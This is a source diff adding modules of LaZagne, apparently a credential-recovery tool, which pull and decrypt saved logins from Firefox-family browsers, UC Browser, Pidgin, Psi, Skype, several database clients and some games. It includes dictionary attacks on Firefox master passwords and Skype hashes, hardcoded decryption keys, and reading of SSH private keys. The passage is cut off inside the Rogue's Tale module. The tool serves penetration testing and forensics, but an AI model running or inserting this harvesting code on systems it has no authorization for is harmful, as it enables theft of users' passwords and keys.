|
||||
# Hope not breaking something (not tested for old version)
|
||||
# entry_salt_len = char_to_int(pwd_check[1])
|
||||
# entry_salt = pwd_check[3: 3 + entry_salt_len]
|
||||
# encrypted_passwd = pwd_check[-16:]
|
||||
global_salt = key_data[b'global-salt']
|
||||
|
||||
else:
|
||||
global_salt = key_data[0] # Item1
|
||||
item2 = key_data[1]
|
||||
# self.print_asn1(item2, len(item2), 0)
|
||||
# SEQUENCE {
|
||||
# SEQUENCE {
|
||||
# OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
|
||||
# SEQUENCE {
|
||||
# OCTETSTRING entry_salt_for_passwd_check
|
||||
# INTEGER 01
|
||||
# }
|
||||
# }
|
||||
# OCTETSTRING encrypted_password_check
|
||||
# }
|
||||
decoded_item2 = decoder.decode(item2)
|
||||
|
||||
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
|
||||
if cleartext_data != convert_to_byte('password-check\x02\x02'):
|
||||
return '', '', ''
|
||||
|
||||
return global_salt, master_password, entry_salt
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
return '', '', ''
|
||||
|
||||
def brute_master_password(self, key_data, new_version=True):
|
||||
"""
|
||||
Try to find master_password doing a dictionary attack using the 500 most used passwords
|
||||
"""
|
||||
wordlist = constant.password_found + get_dic()
|
||||
num_lines = (len(wordlist) - 1)
|
||||
self.info(u'%d most used passwords !!! ' % num_lines)
|
||||
|
||||
for word in wordlist:
|
||||
global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,
|
||||
master_password=word.strip(),
|
||||
new_version=new_version)
|
||||
if master_password:
|
||||
self.info(u'Master password found: {}'.format(master_password))
|
||||
return global_salt, master_password, entry_salt
|
||||
|
||||
self.warning(u'No password has been found using the default list')
|
||||
return '', '', ''
|
||||
|
||||
def remove_padding(self, data):
|
||||
"""
|
||||
Remove PKCS#7 padding
|
||||
"""
|
||||
try:
|
||||
nb = struct.unpack('B', data[-1])[0] # Python 2
|
||||
except Exception:
|
||||
nb = data[-1] # Python 3
|
||||
|
||||
try:
|
||||
return data[:-nb]
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
return data
|
||||
|
||||
def decrypt(self, key, iv, ciphertext):
|
||||
"""
|
||||
Decrypt ciphered data (user / password) using the key previously found
|
||||
"""
|
||||
data = triple_des(key, CBC, iv).decrypt(ciphertext)
|
||||
return self.remove_padding(data)
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Main function
|
||||
"""
|
||||
pwd_found = []
|
||||
self.path = self.path.format(**constant.profile)
|
||||
if os.path.exists(self.path):
|
||||
for profile in self.get_firefox_profiles(self.path):
|
||||
self.debug(u'Profile path found: {profile}'.format(profile=profile))
|
||||
|
||||
credentials = self.get_login_data(profile)
|
||||
if credentials:
|
||||
for key in self.get_key(profile):
|
||||
for user, passw, url in credentials:
|
||||
self.debug(f'Will try to decode {user}, {passw}, {url}')
|
||||
try:
|
||||
pwd_found.append({
|
||||
'URL': url,
|
||||
'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'),
|
||||
'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode('utf-8'),
|
||||
})
|
||||
except Exception:
|
||||
self.debug(u'An error occured decrypting the password: {error}'.format(error=traceback.format_exc()))
|
||||
else:
|
||||
self.debug(f'Database empty - {profile}')
|
||||
return pwd_found
|
||||
|
||||
|
||||
# Name, path
|
||||
firefox_browsers = [
|
||||
(u'firefox', u'{APPDATA}\\Mozilla\\Firefox'),
|
||||
(u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'),
|
||||
(u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'),
|
||||
(u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'),
|
||||
(u'k-Meleon', u'{APPDATA}\\K-Meleon'),
|
||||
(u'icecat', u'{APPDATA}\\Mozilla\\icecat'),
|
||||
]
|
||||
|
||||
#firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]
|
21
lazagne/softwares/browsers/ucbrowser.py
Normal file
21
lazagne/softwares/browsers/ucbrowser.py
Normal file
@ -0,0 +1,21 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.softwares.browsers.chromium_based import ChromiumBased
|
||||
|
||||
|
||||
class UCBrowser(ChromiumBased):
|
||||
def __init__(self):
|
||||
self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins'
|
||||
ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True)
|
||||
|
||||
def _get_database_dirs(self):
|
||||
data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile)
|
||||
try:
|
||||
# UC Browser seems to have random characters appended to the User Data dir so we'll list them all
|
||||
self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)]
|
||||
except Exception:
|
||||
self.paths = []
|
||||
return ChromiumBased._get_database_dirs(self)
|
0
lazagne/softwares/chats/__init__.py
Normal file
0
lazagne/softwares/chats/__init__.py
Normal file
28
lazagne/softwares/chats/pidgin.py
Normal file
28
lazagne/softwares/chats/pidgin.py
Normal file
@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class Pidgin(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'pidgin', 'chats')
|
||||
|
||||
def run(self):
|
||||
path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
|
||||
if os.path.exists(path):
|
||||
tree = ElementTree(file=path)
|
||||
root = tree.getroot()
|
||||
pwd_found = []
|
||||
|
||||
for account in root.findall('account'):
|
||||
name = account.find('name')
|
||||
password = account.find('password')
|
||||
if all((name, password)):
|
||||
pwd_found.append({
|
||||
'Login': name.text,
|
||||
'Password': password.text
|
||||
})
|
||||
return pwd_found
|
64
lazagne/softwares/chats/psi.py
Normal file
64
lazagne/softwares/chats/psi.py
Normal file
@ -0,0 +1,64 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
from glob import glob
|
||||
from itertools import cycle
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.winstructure import char_to_int
|
||||
|
||||
|
||||
class PSI(ModuleInfo):
|
||||
def __init__(self):
|
||||
self.pwd_found = []
|
||||
|
||||
ModuleInfo.__init__(self, 'psi-im', 'chats')
|
||||
|
||||
def get_profiles_files(self):
|
||||
_dirs = (
|
||||
u'psi\\profiles\\*\\accounts.xml',
|
||||
u'psi+\\profiles\\*\\accounts.xml',
|
||||
)
|
||||
|
||||
for one_dir in _dirs:
|
||||
_path = os.path.join(constant.profile['APPDATA'], one_dir)
|
||||
accs_files = glob(_path)
|
||||
for one_file in accs_files:
|
||||
yield one_file
|
||||
|
||||
# Thanks to https://github.com/jose1711/psi-im-decrypt
|
||||
def decode_password(self, password, jid):
|
||||
result = ''
|
||||
jid = cycle(jid)
|
||||
for n1 in range(0, len(password), 4):
|
||||
x = int(password[n1:n1 + 4], 16)
|
||||
result += chr(x ^ char_to_int(next(jid)))
|
||||
|
||||
return result
|
||||
|
||||
def process_one_file(self, _path):
|
||||
root = ElementTree(file=_path).getroot()
|
||||
|
||||
for item in root:
|
||||
if item.tag == '{http://psi-im.org/options}accounts':
|
||||
for acc in item:
|
||||
values = {}
|
||||
|
||||
for x in acc:
|
||||
if x.tag == '{http://psi-im.org/options}jid':
|
||||
values['Login'] = x.text
|
||||
|
||||
elif x.tag == '{http://psi-im.org/options}password':
|
||||
values['Password'] = x.text
|
||||
|
||||
values['Password'] = self.decode_password(values['Password'], values['Login'])
|
||||
|
||||
if values:
|
||||
self.pwd_found.append(values)
|
||||
|
||||
def run(self):
|
||||
for one_file in self.get_profiles_files():
|
||||
self.process_one_file(one_file)
|
||||
|
||||
return self.pwd_found
|
145
lazagne/softwares/chats/skype.py
Normal file
145
lazagne/softwares/chats/skype.py
Normal file
@ -0,0 +1,145 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import binascii
|
||||
import hashlib
|
||||
import os
|
||||
import struct
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
|
||||
import lazagne.config.winstructure as win
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
|
||||
from lazagne.config.dico import get_dic
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
try:
|
||||
import _winreg as winreg
|
||||
except ImportError:
|
||||
import winreg
|
||||
|
||||
|
||||
class Skype(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
|
||||
|
||||
self.pwd_found = []
|
||||
|
||||
def aes_encrypt(self, message, passphrase):
|
||||
iv = '\x00' * 16
|
||||
aes = AESModeOfOperationCBC(passphrase, iv=iv)
|
||||
return aes.encrypt(message)
|
||||
|
||||
# get value used to build the salt
|
||||
def get_regkey(self):
|
||||
try:
|
||||
key_path = 'Software\\Skype\\ProtectedStorage'
|
||||
try:
|
||||
hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
|
||||
except Exception as e:
|
||||
self.debug(str(e))
|
||||
return False
|
||||
|
||||
# num = winreg.QueryInfoKey(hkey)[1]
|
||||
k = winreg.EnumValue(hkey, 0)[1]
|
||||
result_bytes = win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
|
||||
return result_bytes.decode("utf-8")
|
||||
except Exception as e:
|
||||
self.debug(str(e))
|
||||
return False
|
||||
|
||||
# get hash from lazagne.configuration file
|
||||
def get_hash_credential(self, xml_file):
|
||||
tree = ElementTree(file=xml_file)
|
||||
encrypted_hash = tree.find('Lib/Account/Credentials3')
|
||||
if encrypted_hash is not None:
|
||||
return encrypted_hash.text
|
||||
else:
|
||||
return False
|
||||
|
||||
# decrypt hash to get the md5 to bruteforce
|
||||
def get_md5_hash(self, enc_hex, key):
|
||||
# convert hash from hex to binary
|
||||
enc_binary = binascii.unhexlify(enc_hex)
|
||||
|
||||
# retrieve the salt
|
||||
salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
|
||||
|
||||
# encrypt value used with the XOR operation
|
||||
aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
|
||||
|
||||
# XOR operation
|
||||
decrypted = []
|
||||
for d in range(16):
|
||||
decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
|
||||
|
||||
# cast the result byte
|
||||
tmp = ''
|
||||
for dec in decrypted:
|
||||
tmp = tmp + struct.pack(">I", dec).strip('\x00')
|
||||
|
||||
# byte to hex
|
||||
return binascii.hexlify(tmp)
|
||||
|
||||
def dictionary_attack(self, login, md5):
|
||||
wordlist = constant.password_found + get_dic()
|
||||
for word in wordlist:
|
||||
hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
|
||||
if hash_ == md5:
|
||||
return word
|
||||
return False
|
||||
|
||||
def get_username(self, path):
|
||||
xml_file = os.path.join(path, u'shared.xml')
|
||||
if os.path.exists(xml_file):
|
||||
tree = ElementTree(file=xml_file)
|
||||
username = tree.find('Lib/Account/Default')
|
||||
try:
|
||||
return win.string_to_unicode(username.text)
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
def get_info(self, key, username, path):
|
||||
if os.path.exists(os.path.join(path, u'config.xml')):
|
||||
values = {}
|
||||
|
||||
try:
|
||||
values['Login'] = username
|
||||
|
||||
# get encrypted hash from the config file
|
||||
enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
|
||||
|
||||
if not enc_hex:
|
||||
self.warning(u'No credential stored on the config.xml file.')
|
||||
else:
|
||||
# decrypt the hash to get the md5 to brue force
|
||||
values['Hash'] = self.get_md5_hash(enc_hex, key)
|
||||
values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
|
||||
|
||||
# Try a dictionary attack on the hash
|
||||
password = self.dictionary_attack(values['Login'], values['Hash'])
|
||||
if password:
|
||||
values['Password'] = password
|
||||
|
||||
self.pwd_found.append(values)
|
||||
except Exception as e:
|
||||
self.debug(str(e))
|
||||
|
||||
def run(self):
|
||||
path = os.path.join(constant.profile['APPDATA'], u'Skype')
|
||||
if os.path.exists(path):
|
||||
# retrieve the key used to build the salt
|
||||
key = self.get_regkey()
|
||||
if not key:
|
||||
self.error(u'The salt has not been retrieved')
|
||||
else:
|
||||
username = self.get_username(path)
|
||||
if username:
|
||||
d = os.path.join(path, username)
|
||||
if os.path.exists(d):
|
||||
self.get_info(key, username, d)
|
||||
|
||||
if not self.pwd_found:
|
||||
for d in os.listdir(path):
|
||||
self.get_info(key, d, os.path.join(path, d))
|
||||
|
||||
return self.pwd_found
|
0
lazagne/softwares/databases/__init__.py
Normal file
0
lazagne/softwares/databases/__init__.py
Normal file
79
lazagne/softwares/databases/dbvis.py
Normal file
79
lazagne/softwares/databases/dbvis.py
Normal file
@ -0,0 +1,79 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import array
|
||||
import base64
|
||||
import binascii
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.crypto.pyDes import des, CBC
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class Dbvisualizer(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, name='dbvis', category='databases')
|
||||
|
||||
self._salt = self.get_salt()
|
||||
self._passphrase = 'qinda'
|
||||
self._iteration = 10
|
||||
|
||||
def get_salt(self):
|
||||
salt_array = [-114, 18, 57, -100, 7, 114, 111, 90]
|
||||
salt = array.array('b', salt_array)
|
||||
hexsalt = binascii.hexlify(salt)
|
||||
return binascii.unhexlify(hexsalt)
|
||||
|
||||
def get_derived_key(self, password, salt, count):
|
||||
key = bytearray(password) + salt
|
||||
|
||||
for i in range(count):
|
||||
m = hashlib.md5(key)
|
||||
key = m.digest()
|
||||
return key[:8], key[8:]
|
||||
|
||||
def decrypt(self, msg):
|
||||
enc_text = base64.b64decode(msg)
|
||||
(dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
|
||||
crypter = des(dk, CBC, iv)
|
||||
text = crypter.decrypt(enc_text)
|
||||
return re.sub(r'[\x01-\x08]', '', text)
|
||||
|
||||
def run(self):
|
||||
path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml')
|
||||
if os.path.exists(path):
|
||||
tree = ElementTree(file=path)
|
||||
|
||||
pwd_found = []
|
||||
elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'}
|
||||
|
||||
for e in tree.findall('Databases/Database'):
|
||||
values = {}
|
||||
for elem in elements:
|
||||
try:
|
||||
if elem != "Password":
|
||||
values[elements[elem]] = e.find(elem).text
|
||||
else:
|
||||
values[elements[elem]] = self.decrypt(e.find(elem).text)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
elem = e.find('UrlVariables')
|
||||
for ee in elem.getchildren():
|
||||
for ele in ee.getchildren():
|
||||
if 'Server' == ele.attrib['UrlVariableName']:
|
||||
values['Host'] = str(ele.text)
|
||||
if 'Port' == ele.attrib['UrlVariableName']:
|
||||
values['Port'] = str(ele.text)
|
||||
if 'SID' == ele.attrib['UrlVariableName']:
|
||||
values['SID'] = str(ele.text)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if values:
|
||||
pwd_found.append(values)
|
||||
|
||||
return pwd_found
|
32
lazagne/softwares/databases/postgresql.py
Normal file
32
lazagne/softwares/databases/postgresql.py
Normal file
@ -0,0 +1,32 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class PostgreSQL(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, name='postgresql', category='databases')
|
||||
|
||||
def run(self):
|
||||
path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')
|
||||
if os.path.exists(path):
|
||||
with open(path) as f:
|
||||
pwd_found = []
|
||||
for line in f.readlines():
|
||||
try:
|
||||
items = line.strip().split(':')
|
||||
pwd_found.append({
|
||||
'Hostname': items[0],
|
||||
'Port': items[1],
|
||||
'DB': items[2],
|
||||
'Username': items[3],
|
||||
'Password': items[4]
|
||||
})
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return pwd_found
|
101
lazagne/softwares/databases/robomongo.py
Normal file
101
lazagne/softwares/databases/robomongo.py
Normal file
@ -0,0 +1,101 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import json
|
||||
import os
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class Robomongo(ModuleInfo):
|
||||
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'robomongo', 'databases')
|
||||
|
||||
self.paths = [
|
||||
{
|
||||
'directory': u'.config/robomongo',
|
||||
'filename': u'robomongo.json',
|
||||
},
|
||||
{
|
||||
'directory': u'.3T/robo-3t/1.1.1',
|
||||
'filename': u'robo3t.json',
|
||||
}
|
||||
]
|
||||
|
||||
def read_file_content(self, file_path):
|
||||
"""
|
||||
Read the content of a file
|
||||
|
||||
:param file_path: Path of the file to read.
|
||||
|
||||
:return: File content as string.
|
||||
"""
|
||||
content = ""
|
||||
if os.path.isfile(file_path):
|
||||
with open(file_path, 'r') as file_handle:
|
||||
content = file_handle.read()
|
||||
|
||||
return content
|
||||
|
||||
def parse_json(self, connection_file_path):
|
||||
repos_creds = []
|
||||
if not os.path.exists(connection_file_path):
|
||||
return repos_creds
|
||||
with open(connection_file_path) as connection_file:
|
||||
try:
|
||||
connections_infos = json.load(connection_file)
|
||||
except Exception:
|
||||
return repos_creds
|
||||
for connection in connections_infos.get("connections", []):
|
||||
try:
|
||||
creds = {
|
||||
"Name": connection["connectionName"],
|
||||
"Host": connection["serverHost"],
|
||||
"Port": connection["serverPort"]
|
||||
}
|
||||
crd = connection["credentials"][0]
|
||||
if crd.get("enabled"):
|
||||
creds.update({
|
||||
"AuthMode": "CREDENTIALS",
|
||||
"DatabaseName": crd["databaseName"],
|
||||
"AuthMechanism": crd["mechanism"],
|
||||
"Login": crd["userName"],
|
||||
"Password": crd["userPassword"]
|
||||
})
|
||||
else:
|
||||
creds.update({
|
||||
"Host": connection["ssh"]["host"],
|
||||
"Port": connection["ssh"]["port"],
|
||||
"Login": connection["ssh"]["userName"]
|
||||
})
|
||||
if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password":
|
||||
creds.update({
|
||||
"AuthMode": "SSH_CREDENTIALS",
|
||||
"Password": connection["ssh"]["userPassword"]
|
||||
})
|
||||
else:
|
||||
creds.update({
|
||||
"AuthMode": "SSH_PRIVATE_KEY",
|
||||
"Passphrase": connection["ssh"]["passphrase"],
|
||||
"PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]),
|
||||
"PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"])
|
||||
})
|
||||
repos_creds.append(creds)
|
||||
except Exception as e:
|
||||
self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e))
|
||||
|
||||
return repos_creds
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Extract all connection's credentials.
|
||||
|
||||
:return: List of dict in which one dict contains all information for a connection.
|
||||
"""
|
||||
pwd_found = []
|
||||
for directory in self.paths:
|
||||
connection_file_path = os.path.join(constant.profile['USERPROFILE'],
|
||||
directory['directory'],
|
||||
directory['filename'])
|
||||
pwd_found.extend(self.parse_json(connection_file_path))
|
||||
return pwd_found
|
106
lazagne/softwares/databases/sqldeveloper.py
Normal file
106
lazagne/softwares/databases/sqldeveloper.py
Normal file
@ -0,0 +1,106 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import array
|
||||
import base64
|
||||
import binascii
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.crypto.pyDes import des, CBC
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class SQLDeveloper(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'sqldeveloper', 'databases')
|
||||
|
||||
self._salt = self.get_salt()
|
||||
self._passphrase = None
|
||||
self._iteration = 42
|
||||
|
||||
def get_salt(self):
|
||||
salt_array = [5, 19, -103, 66, -109, 114, -24, -83]
|
||||
salt = array.array('b', salt_array)
|
||||
hexsalt = binascii.hexlify(salt)
|
||||
return binascii.unhexlify(hexsalt)
|
||||
|
||||
def get_derived_key(self, password, salt, count):
|
||||
key = bytearray(password) + salt
|
||||
for i in range(count):
|
||||
m = hashlib.md5(key)
|
||||
key = m.digest()
|
||||
return key[:8], key[8:]
|
||||
|
||||
def decrypt(self, msg):
|
||||
enc_text = base64.b64decode(msg)
|
||||
(dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration)
|
||||
crypter = des(dk, CBC, iv)
|
||||
text = crypter.decrypt(enc_text)
|
||||
return re.sub(r'[\x01-\x08]', '', text)
|
||||
|
||||
def get_passphrase(self, path):
|
||||
xml_name = u'product-preferences.xml'
|
||||
xml_file = None
|
||||
|
||||
if os.path.exists(os.path.join(path, xml_name)):
|
||||
xml_file = os.path.join(path, xml_name)
|
||||
else:
|
||||
for p in os.listdir(path):
|
||||
if p.startswith('system'):
|
||||
new_directory = os.path.join(path, p)
|
||||
|
||||
for pp in os.listdir(new_directory):
|
||||
if pp.startswith(u'o.sqldeveloper'):
|
||||
if os.path.exists(os.path.join(new_directory, pp, xml_name)):
|
||||
xml_file = os.path.join(new_directory, pp, xml_name)
|
||||
break
|
||||
if xml_file:
|
||||
tree = ElementTree(file=xml_file)
|
||||
for elem in tree.iter():
|
||||
if 'n' in elem.attrib.keys():
|
||||
if elem.attrib['n'] == 'db.system.id':
|
||||
return elem.attrib['v']
|
||||
|
||||
def run(self):
|
||||
path = os.path.join(constant.profile['APPDATA'], u'SQL Developer')
|
||||
if os.path.exists(path):
|
||||
self._passphrase = self.get_passphrase(path)
|
||||
if self._passphrase:
|
||||
self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase))
|
||||
xml_name = u'connections.xml'
|
||||
xml_file = None
|
||||
|
||||
if os.path.exists(os.path.join(path, xml_name)):
|
||||
xml_file = os.path.join(path, xml_name)
|
||||
else:
|
||||
for p in os.listdir(path):
|
||||
if p.startswith('system'):
|
||||
new_directory = os.path.join(path, p)
|
||||
|
||||
for pp in os.listdir(new_directory):
|
||||
if pp.startswith(u'o.jdeveloper.db.connection'):
|
||||
if os.path.exists(os.path.join(new_directory, pp, xml_name)):
|
||||
xml_file = os.path.join(new_directory, pp, xml_name)
|
||||
break
|
||||
|
||||
if xml_file:
|
||||
renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login',
|
||||
'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL',
|
||||
'SavePassword': 'SavePassword', 'driver': 'Driver'}
|
||||
tree = ElementTree(file=xml_file)
|
||||
|
||||
pwd_found = []
|
||||
for e in tree.findall('Reference'):
|
||||
values = {}
|
||||
for ee in e.findall('RefAddresses/StringRefAddr'):
|
||||
if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None:
|
||||
name = renamed_value[ee.attrib['addrType']]
|
||||
value = ee.find('Contents').text if name != 'Password' else self.decrypt(
|
||||
ee.find('Contents').text)
|
||||
values[name] = value
|
||||
|
||||
pwd_found.append(values)
|
||||
|
||||
return pwd_found
|
27
lazagne/softwares/databases/squirrel.py
Normal file
27
lazagne/softwares/databases/squirrel.py
Normal file
@ -0,0 +1,27 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class Squirrel(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, name='squirrel', category='databases')
|
||||
|
||||
def run(self):
|
||||
path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')
|
||||
if os.path.exists(path):
|
||||
tree = ElementTree(file=path)
|
||||
pwd_found = []
|
||||
elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
|
||||
for elem in tree.iter('Bean'):
|
||||
values = {}
|
||||
for e in elem:
|
||||
if e.tag in elements:
|
||||
values[elements[e.tag]] = e.text
|
||||
if values:
|
||||
pwd_found.append(values)
|
||||
|
||||
return pwd_found
|
0
lazagne/softwares/games/__init__.py
Normal file
0
lazagne/softwares/games/__init__.py
Normal file
55
lazagne/softwares/games/galconfusion.py
Normal file
55
lazagne/softwares/games/galconfusion.py
Normal file
@ -0,0 +1,55 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
|
||||
try:
|
||||
import _winreg as winreg
|
||||
except ImportError:
|
||||
import winreg
|
||||
|
||||
import lazagne.config.winstructure as win
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.winstructure import string_to_unicode
|
||||
|
||||
|
||||
class GalconFusion(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True)
|
||||
|
||||
def run(self):
|
||||
creds = []
|
||||
results = None
|
||||
|
||||
# Find the location of steam - to make it easier we're going to use a try block
|
||||
# 'cos I'm lazy
|
||||
try:
|
||||
with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key:
|
||||
results = winreg.QueryValueEx(key, 'SteamPath')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if results:
|
||||
steampath = string_to_unicode(results[0])
|
||||
userdata = os.path.join(steampath, u'userdata')
|
||||
|
||||
# Check that we have a userdata directory
|
||||
if not os.path.exists(userdata):
|
||||
self.error(u'Steam doesn\'t have a userdata directory.')
|
||||
return
|
||||
|
||||
# Now look for Galcon Fusion in every user
|
||||
for f in os.listdir(userdata):
|
||||
filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg')
|
||||
if not os.path.exists(filepath):
|
||||
continue
|
||||
|
||||
# If we're here we should have a Galcon Fusion file
|
||||
with open(filepath, mode='rb') as cfgfile:
|
||||
# We've found a config file, now extract the creds
|
||||
data = cfgfile.read()
|
||||
creds.append({
|
||||
'Login': data[4:0x23],
|
||||
'Password': data[0x24:0x43]
|
||||
})
|
||||
|
||||
return creds
|
42
lazagne/softwares/games/kalypsomedia.py
Normal file
42
lazagne/softwares/games/kalypsomedia.py
Normal file
@ -0,0 +1,42 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import base64
|
||||
import os
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.winstructure import char_to_int, chr_or_byte
|
||||
|
||||
try:
|
||||
from ConfigParser import ConfigParser # Python 2.7
|
||||
except ImportError:
|
||||
from configparser import ConfigParser # Python 3
|
||||
|
||||
|
||||
class KalypsoMedia(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'kalypsomedia', 'games')
|
||||
|
||||
def xorstring(self, s, k):
|
||||
"""
|
||||
xors the two strings
|
||||
"""
|
||||
return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k))
|
||||
|
||||
def run(self):
|
||||
creds = []
|
||||
key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89'
|
||||
inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini')
|
||||
|
||||
# The actual user details are stored in *.userdata files
|
||||
if os.path.exists(inifile):
|
||||
config = ConfigParser()
|
||||
config.read(inifile)
|
||||
|
||||
# get the encoded password
|
||||
cookedpw = base64.b64decode(config.get('styx user', 'password'))
|
||||
|
||||
creds.append({
|
||||
'Login': config.get('styx user', 'login'),
|
||||
'Password': self.xorstring(cookedpw, key)
|
||||
})
|
||||
return creds
|
41
lazagne/softwares/games/roguestale.py
Normal file
41
lazagne/softwares/games/roguestale.py
Normal file
@ -0,0 +1,41 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
import re
|
||||
from xml.etree.cElementTree import ElementTree
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
|
||||
|
||||
class RoguesTale(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'roguestale', 'games')
|
||||
|
||||
def run(self):
|
||||
creds = []
|
||||
directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users'
|
||||
|
||||
# The actual user details are stored in *.userdata files
|
||||
if os.path.exists(directory):
|
||||
files = os.listdir(directory)
|
||||
|
||||
for f in files:
|
||||
if re.match('.*\.userdata', f):
|
||||
# We've found a user file, now extract the hash and username
|
||||
